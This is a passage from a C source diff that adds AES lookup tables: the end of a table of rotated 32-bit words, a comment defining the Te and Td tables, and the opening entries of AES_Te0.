0xCAA6FC82, 0x82CAA6FC, }, /* x=12 */ + { 0xF28BC7AD, 0xADF28BC7, 0xC7ADF28B, 0x8BC7ADF2, }, /* x=13 */ + { 0xD8B4E49C, 0x9CD8B4E4, 0xE49CD8B4, 0xB4E49CD8, }, /* x=14 */ + { 0xD6BDE997, 0x97D6BDE9, 0xE997D6BD, 0xBDE997D6, }, /* x=15 */ + { 0xC4A6FE8A, 0x8AC4A6FE, 0xFE8AC4A6, 0xA6FE8AC4, }, /* x=16 */ + { 0xCAAFF381, 0x81CAAFF3, 0xF381CAAF, 0xAFF381CA, }, /* x=17 */ + { 0x90D8B8E8, 0xE890D8B8, 0xB8E890D8, 0xD8B8E890, }, /* x=18 */ + { 0x9ED1B5E3, 0xE39ED1B5, 0xB5E39ED1, 0xD1B5E39E, }, /* x=19 */ + { 0x8CCAA2FE, 0xFE8CCAA2, 0xA2FE8CCA, 0xCAA2FE8C, }, /* x=1A */ + { 0x82C3AFF5, 0xF582C3AF, 0xAFF582C3, 0xC3AFF582, }, /* x=1B */ + { 0xA8FC8CC4, 0xC4A8FC8C, 0x8CC4A8FC, 0xFC8CC4A8, }, /* x=1C */ + { 0xA6F581CF, 0xCFA6F581, 0x81CFA6F5, 0xF581CFA6, }, /* x=1D */ + { 0xB4EE96D2, 0xD2B4EE96, 0x96D2B4EE, 0xEE96D2B4, }, /* x=1E */ + { 0xBAE79BD9, 0xD9BAE79B, 0x9BD9BAE7, 0xE79BD9BA, }, /* x=1F */ + { 0xDB3BBB7B, 0x7BDB3BBB, 0xBB7BDB3B, 0x3BBB7BDB, }, /* x=20 */ + { 0xD532B670, 0x70D532B6, 0xB670D532, 0x32B670D5, }, /* x=21 */ + { 0xC729A16D, 0x6DC729A1, 0xA16DC729, 0x29A16DC7, }, /* x=22 */ + { 0xC920AC66, 0x66C920AC, 0xAC66C920, 0x20AC66C9, }, /* x=23 */ + { 0xE31F8F57, 0x57E31F8F, 0x8F57E31F, 0x1F8F57E3, }, /* x=24 */ + { 0xED16825C, 0x5CED1682, 0x825CED16, 0x16825CED, }, /* x=25 */ + { 0xFF0D9541, 0x41FF0D95, 0x9541FF0D, 0x0D9541FF, }, /* x=26 */ + { 0xF104984A, 0x4AF10498, 0x984AF104, 0x04984AF1, }, /* x=27 */ + { 0xAB73D323, 0x23AB73D3, 0xD323AB73, 0x73D323AB, }, /* x=28 */ + { 0xA57ADE28, 0x28A57ADE, 0xDE28A57A, 0x7ADE28A5, }, /* x=29 */ + { 0xB761C935, 0x35B761C9, 0xC935B761, 0x61C935B7, }, /* x=2A */ + { 0xB968C43E, 0x3EB968C4, 0xC43EB968, 0x68C43EB9, }, /* x=2B */ + { 0x9357E70F, 0x0F9357E7, 0xE70F9357, 0x57E70F93, }, /* x=2C */ + { 0x9D5EEA04, 0x049D5EEA, 0xEA049D5E, 0x5EEA049D, }, /* x=2D */ + { 0x8F45FD19, 0x198F45FD, 0xFD198F45, 0x45FD198F, }, /* x=2E */ + { 0x814CF012, 0x12814CF0, 0xF012814C, 0x4CF01281, }, /* x=2F */ + { 0x3BAB6BCB, 0xCB3BAB6B, 0x6BCB3BAB, 0xAB6BCB3B, }, /* x=30 */ + { 0x35A266C0, 0xC035A266, 0x66C035A2, 0xA266C035, }, /* x=31 */ + { 0x27B971DD, 0xDD27B971, 0x71DD27B9, 0xB971DD27, }, /* x=32 */ + { 0x29B07CD6, 0xD629B07C, 0x7CD629B0, 0xB07CD629, }, /* x=33 */ + { 0x038F5FE7, 0xE7038F5F, 0x5FE7038F, 0x8F5FE703, }, /* x=34 */ + { 0x0D8652EC, 0xEC0D8652, 0x52EC0D86, 0x8652EC0D, }, /* x=35 */ + { 0x1F9D45F1, 0xF11F9D45, 0x45F11F9D, 0x9D45F11F, }, /* x=36 */ + { 0x119448FA, 0xFA119448, 0x48FA1194, 0x9448FA11, }, /* x=37 */ + { 0x4BE30393, 0x934BE303, 0x03934BE3, 0xE303934B, }, /* x=38 */ + { 0x45EA0E98, 0x9845EA0E, 0x0E9845EA, 0xEA0E9845, }, /* x=39 */ + { 0x57F11985, 0x8557F119, 0x198557F1, 0xF1198557, }, /* x=3A */ + { 0x59F8148E, 0x8E59F814, 0x148E59F8, 0xF8148E59, }, /* x=3B */ + { 0x73C737BF, 0xBF73C737, 0x37BF73C7, 0xC737BF73, }, /* x=3C */ + { 0x7DCE3AB4, 0xB47DCE3A, 0x3AB47DCE, 0xCE3AB47D, }, /* x=3D */ + { 0x6FD52DA9, 0xA96FD52D, 0x2DA96FD5, 0xD52DA96F, }, /* x=3E */ + { 0x61DC20A2, 0xA261DC20, 0x20A261DC, 0xDC20A261, }, /* x=3F */ + { 0xAD766DF6, 0xF6AD766D, 0x6DF6AD76, 0x766DF6AD, }, /* x=40 */ + { 0xA37F60FD, 0xFDA37F60, 0x60FDA37F, 0x7F60FDA3, }, /* x=41 */ + { 0xB16477E0, 0xE0B16477, 0x77E0B164, 0x6477E0B1, }, /* x=42 */ + { 0xBF6D7AEB, 0xEBBF6D7A, 0x7AEBBF6D, 0x6D7AEBBF, }, /* x=43 */ + { 0x955259DA, 0xDA955259, 0x59DA9552, 0x5259DA95, }, /* x=44 */ + { 0x9B5B54D1, 0xD19B5B54, 0x54D19B5B, 0x5B54D19B, }, /* x=45 */ + { 0x894043CC, 0xCC894043, 0x43CC8940, 0x4043CC89, }, /* x=46 */ + { 0x87494EC7, 0xC787494E, 0x4EC78749, 0x494EC787, }, /* x=47 */ + { 0xDD3E05AE, 0xAEDD3E05, 0x05AEDD3E, 0x3E05AEDD, }, /* x=48 */ + { 0xD33708A5, 0xA5D33708, 0x08A5D337, 0x3708A5D3, }, /* x=49 */ + { 0xC12C1FB8, 0xB8C12C1F, 0x1FB8C12C, 0x2C1FB8C1, }, /* x=4A */ + { 0xCF2512B3, 0xB3CF2512, 0x12B3CF25, 0x2512B3CF, }, /* x=4B */ + { 0xE51A3182, 0x82E51A31, 0x3182E51A, 0x1A3182E5, }, /* x=4C */ + { 0xEB133C89, 0x89EB133C, 0x3C89EB13, 0x133C89EB, }, /* x=4D */ + { 0xF9082B94, 0x94F9082B, 0x2B94F908, 0x082B94F9, }, /* x=4E */ + { 0xF701269F, 0x9FF70126, 0x269FF701, 0x01269FF7, }, /* x=4F */ + { 0x4DE6BD46, 0x464DE6BD, 0xBD464DE6, 0xE6BD464D, }, /* x=50 */ + { 0x43EFB04D, 0x4D43EFB0, 0xB04D43EF, 0xEFB04D43, }, /* x=51 */ + { 0x51F4A750, 0x5051F4A7, 0xA75051F4, 0xF4A75051, }, /* x=52 */ + { 0x5FFDAA5B, 0x5B5FFDAA, 0xAA5B5FFD, 0xFDAA5B5F, }, /* x=53 */ + { 0x75C2896A, 0x6A75C289, 0x896A75C2, 0xC2896A75, }, /* x=54 */ + { 0x7BCB8461, 0x617BCB84, 0x84617BCB, 0xCB84617B, }, /* x=55 */ + { 0x69D0937C, 0x7C69D093, 0x937C69D0, 0xD0937C69, }, /* x=56 */ + { 0x67D99E77, 0x7767D99E, 0x9E7767D9, 0xD99E7767, }, /* x=57 */ + { 0x3DAED51E, 0x1E3DAED5, 0xD51E3DAE, 0xAED51E3D, }, /* x=58 */ + { 0x33A7D815, 0x1533A7D8, 0xD81533A7, 0xA7D81533, }, /* x=59 */ + { 0x21BCCF08, 0x0821BCCF, 0xCF0821BC, 0xBCCF0821, }, /* x=5A */ + { 0x2FB5C203, 0x032FB5C2, 0xC2032FB5, 0xB5C2032F, }, /* x=5B */ + { 0x058AE132, 0x32058AE1, 0xE132058A, 0x8AE13205, }, /* x=5C */ + { 0x0B83EC39, 0x390B83EC, 0xEC390B83, 0x83EC390B, }, /* x=5D */ + { 0x1998FB24, 0x241998FB, 0xFB241998, 0x98FB2419, }, /* x=5E */ + { 0x1791F62F, 0x2F1791F6, 0xF62F1791, 0x91F62F17, }, /* x=5F */ + { 0x764DD68D, 0x8D764DD6, 0xD68D764D, 0x4DD68D76, }, /* x=60 */ + { 0x7844DB86, 0x867844DB, 0xDB867844, 0x44DB8678, }, /* x=61 */ + { 0x6A5FCC9B, 0x9B6A5FCC, 0xCC9B6A5F, 0x5FCC9B6A, }, /* x=62 */ + { 0x6456C190, 0x906456C1, 0xC1906456, 0x56C19064, }, /* x=63 */ + { 0x4E69E2A1, 0xA14E69E2, 0xE2A14E69, 0x69E2A14E, }, /* x=64 */ + { 0x4060EFAA, 0xAA4060EF, 0xEFAA4060, 0x60EFAA40, }, /* x=65 */ + { 0x527BF8B7, 0xB7527BF8, 0xF8B7527B, 0x7BF8B752, }, /* x=66 */ + { 0x5C72F5BC, 0xBC5C72F5, 0xF5BC5C72, 0x72F5BC5C, }, /* x=67 */ + { 0x0605BED5, 0xD50605BE, 0xBED50605, 0x05BED506, }, /* x=68 */ + { 0x080CB3DE, 0xDE080CB3, 0xB3DE080C, 0x0CB3DE08, }, /* x=69 */ + { 0x1A17A4C3, 0xC31A17A4, 0xA4C31A17, 0x17A4C31A, }, /* x=6A */ + { 0x141EA9C8, 0xC8141EA9, 0xA9C8141E, 0x1EA9C814, }, /* x=6B */ + { 0x3E218AF9, 0xF93E218A, 0x8AF93E21, 0x218AF93E, }, /* x=6C */ + { 0x302887F2, 0xF2302887, 0x87F23028, 0x2887F230, }, /* x=6D */ + { 0x223390EF, 0xEF223390, 0x90EF2233, 0x3390EF22, }, /* x=6E */ + { 0x2C3A9DE4, 0xE42C3A9D, 0x9DE42C3A, 0x3A9DE42C, }, /* x=6F */ + { 0x96DD063D, 0x3D96DD06, 0x063D96DD, 0xDD063D96, }, /* x=70 */ + { 0x98D40B36, 0x3698D40B, 0x0B3698D4, 0xD40B3698, }, /* x=71 */ + { 0x8ACF1C2B, 0x2B8ACF1C, 0x1C2B8ACF, 0xCF1C2B8A, }, /* x=72 */ + { 0x84C61120, 0x2084C611, 0x112084C6, 0xC6112084, }, /* x=73 */ + { 0xAEF93211, 0x11AEF932, 0x3211AEF9, 0xF93211AE, }, /* x=74 */ + { 0xA0F03F1A, 0x1AA0F03F, 0x3F1AA0F0, 0xF03F1AA0, }, /* x=75 */ + { 0xB2EB2807, 0x07B2EB28, 0x2807B2EB, 0xEB2807B2, }, /* x=76 */ + { 0xBCE2250C, 0x0CBCE225, 0x250CBCE2, 0xE2250CBC, }, /* x=77 */ + { 0xE6956E65, 0x65E6956E, 0x6E65E695, 0x956E65E6, }, /* x=78 */ + { 0xE89C636E, 0x6EE89C63, 0x636EE89C, 0x9C636EE8, }, /* x=79 */ + { 0xFA877473, 0x73FA8774, 0x7473FA87, 0x877473FA, }, /* x=7A */ + { 0xF48E7978, 0x78F48E79, 0x7978F48E, 0x8E7978F4, }, /* x=7B */ + { 0xDEB15A49, 0x49DEB15A, 0x5A49DEB1, 0xB15A49DE, }, /* x=7C */ + { 0xD0B85742, 0x42D0B857, 0x5742D0B8, 0xB85742D0, }, /* x=7D */ + { 0xC2A3405F, 0x5FC2A340, 0x405FC2A3, 0xA3405FC2, }, /* x=7E */ + { 0xCCAA4D54, 0x54CCAA4D, 0x4D54CCAA, 0xAA4D54CC, }, /* x=7F */ + { 0x41ECDAF7, 0xF741ECDA, 0xDAF741EC, 0xECDAF741, }, /* x=80 */ + { 0x4FE5D7FC, 0xFC4FE5D7, 0xD7FC4FE5, 0xE5D7FC4F, }, /* x=81 */ + { 0x5DFEC0E1, 0xE15DFEC0, 0xC0E15DFE, 0xFEC0E15D, }, /* x=82 */ + { 0x53F7CDEA, 0xEA53F7CD, 0xCDEA53F7, 0xF7CDEA53, }, /* x=83 */ + { 0x79C8EEDB, 0xDB79C8EE, 0xEEDB79C8, 0xC8EEDB79, }, /* x=84 */ + { 0x77C1E3D0, 0xD077C1E3, 0xE3D077C1, 0xC1E3D077, }, /* x=85 */ + { 0x65DAF4CD, 0xCD65DAF4, 0xF4CD65DA, 0xDAF4CD65, }, /* x=86 */ + { 0x6BD3F9C6, 0xC66BD3F9, 0xF9C66BD3, 0xD3F9C66B, }, /* x=87 */ + { 0x31A4B2AF, 0xAF31A4B2, 0xB2AF31A4, 0xA4B2AF31, }, /* x=88 */ + { 0x3FADBFA4, 0xA43FADBF, 0xBFA43FAD, 0xADBFA43F, }, /* x=89 */ + { 0x2DB6A8B9, 0xB92DB6A8, 0xA8B92DB6, 0xB6A8B92D, }, /* x=8A */ + { 0x23BFA5B2, 0xB223BFA5, 0xA5B223BF, 0xBFA5B223, }, /* x=8B */ + { 0x09808683, 0x83098086, 0x86830980, 0x80868309, }, /* x=8C */ + { 0x07898B88, 0x8807898B, 0x8B880789, 0x898B8807, }, /* x=8D */ + { 0x15929C95, 0x9515929C, 0x9C951592, 0x929C9515, }, /* x=8E */ + { 0x1B9B919E, 0x9E1B9B91, 0x919E1B9B, 0x9B919E1B, }, /* x=8F */ + { 0xA17C0A47, 0x47A17C0A, 0x0A47A17C, 0x7C0A47A1, }, /* x=90 */ + { 0xAF75074C, 0x4CAF7507, 0x074CAF75, 0x75074CAF, }, /* x=91 */ + { 0xBD6E1051, 0x51BD6E10, 0x1051BD6E, 0x6E1051BD, }, /* x=92 */ + { 0xB3671D5A, 0x5AB3671D, 0x1D5AB367, 0x671D5AB3, }, /* x=93 */ + { 0x99583E6B, 0x6B99583E, 0x3E6B9958, 0x583E6B99, }, /* x=94 */ + { 0x97513360, 0x60975133, 0x33609751, 0x51336097, }, /* x=95 */ + { 0x854A247D, 0x7D854A24, 0x247D854A, 0x4A247D85, }, /* x=96 */ + { 0x8B432976, 0x768B4329, 0x29768B43, 0x4329768B, }, /* x=97 */ + { 0xD134621F, 0x1FD13462, 0x621FD134, 0x34621FD1, }, /* x=98 */ + { 0xDF3D6F14, 0x14DF3D6F, 0x6F14DF3D, 0x3D6F14DF, }, /* x=99 */ + { 0xCD267809, 0x09CD2678, 0x7809CD26, 0x267809CD, }, /* x=9A */ + { 0xC32F7502, 0x02C32F75, 0x7502C32F, 0x2F7502C3, }, /* x=9B */ + { 0xE9105633, 0x33E91056, 0x5633E910, 0x105633E9, }, /* x=9C */ + { 0xE7195B38, 0x38E7195B, 0x5B38E719, 0x195B38E7, }, /* x=9D */ + { 0xF5024C25, 0x25F5024C, 0x4C25F502, 0x024C25F5, }, /* x=9E */ + { 0xFB0B412E, 0x2EFB0B41, 0x412EFB0B, 0x0B412EFB, }, /* x=9F */ + { 0x9AD7618C, 0x8C9AD761, 0x618C9AD7, 0xD7618C9A, }, /* x=A0 */ + { 0x94DE6C87, 0x8794DE6C, 0x6C8794DE, 0xDE6C8794, }, /* x=A1 */ + { 0x86C57B9A, 0x9A86C57B, 0x7B9A86C5, 0xC57B9A86, }, /* x=A2 */ + { 0x88CC7691, 0x9188CC76, 0x769188CC, 0xCC769188, }, /* x=A3 */ + { 0xA2F355A0, 0xA0A2F355, 0x55A0A2F3, 0xF355A0A2, }, /* x=A4 */ + { 0xACFA58AB, 0xABACFA58, 0x58ABACFA, 0xFA58ABAC, }, /* x=A5 */ + { 0xBEE14FB6, 0xB6BEE14F, 0x4FB6BEE1, 0xE14FB6BE, }, /* x=A6 */ + { 0xB0E842BD, 0xBDB0E842, 0x42BDB0E8, 0xE842BDB0, }, /* x=A7 */ + { 0xEA9F09D4, 0xD4EA9F09, 0x09D4EA9F, 0x9F09D4EA, }, /* x=A8 */ + { 0xE49604DF, 0xDFE49604, 0x04DFE496, 0x9604DFE4, }, /* x=A9 */ + { 0xF68D13C2, 0xC2F68D13, 0x13C2F68D, 0x8D13C2F6, }, /* x=AA */ + { 0xF8841EC9, 0xC9F8841E, 0x1EC9F884, 0x841EC9F8, }, /* x=AB */ + { 0xD2BB3DF8, 0xF8D2BB3D, 0x3DF8D2BB, 0xBB3DF8D2, }, /* x=AC */ + { 0xDCB230F3, 0xF3DCB230, 0x30F3DCB2, 0xB230F3DC, }, /* x=AD */ + { 0xCEA927EE, 0xEECEA927, 0x27EECEA9, 0xA927EECE, }, /* x=AE */ + { 0xC0A02AE5, 0xE5C0A02A, 0x2AE5C0A0, 0xA02AE5C0, }, /* x=AF */ + { 0x7A47B13C, 0x3C7A47B1, 0xB13C7A47, 0x47B13C7A, }, /* x=B0 */ + { 0x744EBC37, 0x37744EBC, 0xBC37744E, 0x4EBC3774, }, /* x=B1 */ + { 0x6655AB2A, 0x2A6655AB, 0xAB2A6655, 0x55AB2A66, }, /* x=B2 */ + { 0x685CA621, 0x21685CA6, 0xA621685C, 0x5CA62168, }, /* x=B3 */ + { 0x42638510, 0x10426385, 0x85104263, 0x63851042, }, /* x=B4 */ + { 0x4C6A881B, 0x1B4C6A88, 0x881B4C6A, 0x6A881B4C, }, /* x=B5 */ + { 0x5E719F06, 0x065E719F, 0x9F065E71, 0x719F065E, }, /* x=B6 */ + { 0x5078920D, 0x0D507892, 0x920D5078, 0x78920D50, }, /* x=B7 */ + { 0x0A0FD964, 0x640A0FD9, 0xD9640A0F, 0x0FD9640A, }, /* x=B8 */ + { 0x0406D46F, 0x6F0406D4, 0xD46F0406, 0x06D46F04, }, /* x=B9 */ + { 0x161DC372, 0x72161DC3, 0xC372161D, 0x1DC37216, }, /* x=BA */ + { 0x1814CE79, 0x791814CE, 0xCE791814, 0x14CE7918, }, /* x=BB */ + { 0x322BED48, 0x48322BED, 0xED48322B, 0x2BED4832, }, /* x=BC */ + { 0x3C22E043, 0x433C22E0, 0xE0433C22, 0x22E0433C, }, /* x=BD */ + { 0x2E39F75E, 0x5E2E39F7, 0xF75E2E39, 0x39F75E2E, }, /* x=BE */ + { 0x2030FA55, 0x552030FA, 0xFA552030, 0x30FA5520, }, /* x=BF */ + { 0xEC9AB701, 0x01EC9AB7, 0xB701EC9A, 0x9AB701EC, }, /* x=C0 */ + { 0xE293BA0A, 0x0AE293BA, 0xBA0AE293, 0x93BA0AE2, }, /* x=C1 */ + { 0xF088AD17, 0x17F088AD, 0xAD17F088, 0x88AD17F0, }, /* x=C2 */ + { 0xFE81A01C, 0x1CFE81A0, 0xA01CFE81, 0x81A01CFE, }, /* x=C3 */ + { 0xD4BE832D, 0x2DD4BE83, 0x832DD4BE, 0xBE832DD4, }, /* x=C4 */ + { 0xDAB78E26, 0x26DAB78E, 0x8E26DAB7, 0xB78E26DA, }, /* x=C5 */ + { 0xC8AC993B, 0x3BC8AC99, 0x993BC8AC, 0xAC993BC8, }, /* x=C6 */ + { 0xC6A59430, 0x30C6A594, 0x9430C6A5, 0xA59430C6, }, /* x=C7 */ + { 0x9CD2DF59, 0x599CD2DF, 0xDF599CD2, 0xD2DF599C, }, /* x=C8 */ + { 0x92DBD252, 0x5292DBD2, 0xD25292DB, 0xDBD25292, }, /* x=C9 */ + { 0x80C0C54F, 0x4F80C0C5, 0xC54F80C0, 0xC0C54F80, }, /* x=CA */ + { 0x8EC9C844, 0x448EC9C8, 0xC8448EC9, 0xC9C8448E, }, /* x=CB */ + { 0xA4F6EB75, 0x75A4F6EB, 0xEB75A4F6, 0xF6EB75A4, }, /* x=CC */ + { 0xAAFFE67E, 0x7EAAFFE6, 0xE67EAAFF, 0xFFE67EAA, }, /* x=CD */ + { 0xB8E4F163, 0x63B8E4F1, 0xF163B8E4, 0xE4F163B8, }, /* x=CE */ + { 0xB6EDFC68, 0x68B6EDFC, 0xFC68B6ED, 0xEDFC68B6, }, /* x=CF */ + { 0x0C0A67B1, 0xB10C0A67, 0x67B10C0A, 0x0A67B10C, }, /* x=D0 */ + { 0x02036ABA, 0xBA02036A, 0x6ABA0203, 0x036ABA02, }, /* x=D1 */ + { 0x10187DA7, 0xA710187D, 0x7DA71018, 0x187DA710, }, /* x=D2 */ + { 0x1E1170AC, 0xAC1E1170, 0x70AC1E11, 0x1170AC1E, }, /* x=D3 */ + { 0x342E539D, 0x9D342E53, 0x539D342E, 0x2E539D34, }, /* x=D4 */ + { 0x3A275E96, 0x963A275E, 0x5E963A27, 0x275E963A, }, /* x=D5 */ + { 0x283C498B, 0x8B283C49, 0x498B283C, 0x3C498B28, }, /* x=D6 */ + { 0x26354480, 0x80263544, 0x44802635, 0x35448026, }, /* x=D7 */ + { 0x7C420FE9, 0xE97C420F, 0x0FE97C42, 0x420FE97C, }, /* x=D8 */ + { 0x724B02E2, 0xE2724B02, 0x02E2724B, 0x4B02E272, }, /* x=D9 */ + { 0x605015FF, 0xFF605015, 0x15FF6050, 0x5015FF60, }, /* x=DA */ + { 0x6E5918F4, 0xF46E5918, 0x18F46E59, 0x5918F46E, }, /* x=DB */ + { 0x44663BC5, 0xC544663B, 0x3BC54466, 0x663BC544, }, /* x=DC */ + { 0x4A6F36CE, 0xCE4A6F36, 0x36CE4A6F, 0x6F36CE4A, }, /* x=DD */ + { 0x587421D3, 0xD3587421, 0x21D35874, 0x7421D358, }, /* x=DE */ + { 0x567D2CD8, 0xD8567D2C, 0x2CD8567D, 0x7D2CD856, }, /* x=DF */ + { 0x37A10C7A, 0x7A37A10C, 0x0C7A37A1, 0xA10C7A37, }, /* x=E0 */ + { 0x39A80171, 0x7139A801, 0x017139A8, 0xA8017139, }, /* x=E1 */ + { 0x2BB3166C, 0x6C2BB316, 0x166C2BB3, 0xB3166C2B, }, /* x=E2 */ + { 0x25BA1B67, 0x6725BA1B, 0x1B6725BA, 0xBA1B6725, }, /* x=E3 */ + { 0x0F853856, 0x560F8538, 0x38560F85, 0x8538560F, }, /* x=E4 */ + { 0x018C355D, 0x5D018C35, 0x355D018C, 0x8C355D01, }, /* x=E5 */ + { 0x13972240, 0x40139722, 0x22401397, 0x97224013, }, /* x=E6 */ + { 0x1D9E2F4B, 0x4B1D9E2F, 0x2F4B1D9E, 0x9E2F4B1D, }, /* x=E7 */ + { 0x47E96422, 0x2247E964, 0x642247E9, 0xE9642247, }, /* x=E8 */ + { 0x49E06929, 0x2949E069, 0x692949E0, 0xE0692949, }, /* x=E9 */ + { 0x5BFB7E34, 0x345BFB7E, 0x7E345BFB, 0xFB7E345B, }, /* x=EA */ + { 0x55F2733F, 0x3F55F273, 0x733F55F2, 0xF2733F55, }, /* x=EB */ + { 0x7FCD500E, 0x0E7FCD50, 0x500E7FCD, 0xCD500E7F, }, /* x=EC */ + { 0x71C45D05, 0x0571C45D, 0x5D0571C4, 0xC45D0571, }, /* x=ED */ + { 0x63DF4A18, 0x1863DF4A, 0x4A1863DF, 0xDF4A1863, }, /* x=EE */ + { 0x6DD64713, 0x136DD647, 0x47136DD6, 0xD647136D, }, /* x=EF */ + { 0xD731DCCA, 0xCAD731DC, 0xDCCAD731, 0x31DCCAD7, }, /* x=F0 */ + { 0xD938D1C1, 0xC1D938D1, 0xD1C1D938, 0x38D1C1D9, }, /* x=F1 */ + { 0xCB23C6DC, 0xDCCB23C6, 0xC6DCCB23, 0x23C6DCCB, }, /* x=F2 */ + { 0xC52ACBD7, 0xD7C52ACB, 0xCBD7C52A, 0x2ACBD7C5, }, /* x=F3 */ + { 0xEF15E8E6, 0xE6EF15E8, 0xE8E6EF15, 0x15E8E6EF, }, /* x=F4 */ + { 0xE11CE5ED, 0xEDE11CE5, 0xE5EDE11C, 0x1CE5EDE1, }, /* x=F5 */ + { 0xF307F2F0, 0xF0F307F2, 0xF2F0F307, 0x07F2F0F3, }, /* x=F6 */ + { 0xFD0EFFFB, 0xFBFD0EFF, 0xFFFBFD0E, 0x0EFFFBFD, }, /* x=F7 */ + { 0xA779B492, 0x92A779B4, 0xB492A779, 0x79B492A7, }, /* x=F8 */ + { 0xA970B999, 0x99A970B9, 0xB999A970, 0x70B999A9, }, /* x=F9 */ + { 0xBB6BAE84, 0x84BB6BAE, 0xAE84BB6B, 0x6BAE84BB, }, /* x=FA */ + { 0xB562A38F, 0x8FB562A3, 0xA38FB562, 0x62A38FB5, }, /* x=FB */ + { 0x9F5D80BE, 0xBE9F5D80, 0x80BE9F5D, 0x5D80BE9F, }, /* x=FC */ + { 0x91548DB5, 0xB591548D, 0x8DB59154, 0x548DB591, }, /* x=FD */ + { 0x834F9AA8, 0xA8834F9A, 0x9AA8834F, 0x4F9AA883, }, /* x=FE */ + { 0x8D4697A3, 0xA38D4697, 0x97A38D46, 0x4697A38D, }, /* x=FF */ +}; + + + +/* +AES_Te0[x] = S [x].[02, 01, 01, 03]; +AES_Te1[x] = S [x].[03, 02, 01, 01]; +AES_Te2[x] = S [x].[01, 03, 02, 01]; +AES_Te3[x] = S [x].[01, 01, 03, 02]; +AES_Te4[x] = S [x].[01, 01, 01, 01]; + +AES_Td0[x] = Si[x].[0e, 09, 0d, 0b]; +AES_Td1[x] = Si[x].[0b, 0e, 09, 0d]; +AES_Td2[x] = Si[x].[0d, 0b, 0e, 09]; +AES_Td3[x] = Si[x].[09, 0d, 0b, 0e]; +AES_Td4[x] = Si[x].[01, 01, 01, 01]; +*/ + +const uint32_t AES_Te0[256] = { + 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, + 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, + 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, + 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, + 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, + 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, + 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, + 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, + 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, + 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, + 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, + 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, + 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, + 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, + 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, + 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, + 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, + 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, + 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, + 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, + 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, + 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, + 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, + 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, + 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, + 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, + 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, + 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, + 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, + 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, + 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, + 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, + 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, + 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, + 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, + 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, + 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, + 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, + 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, + 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, + 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, + 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, + 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, + 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, + 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, + 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, + 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, + 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, + 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, + 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, + 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, + 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, + 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, + 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, + 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, + 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, + 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, + 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, + 0x2d9b9bb6U, 0x3c1e1e22U, 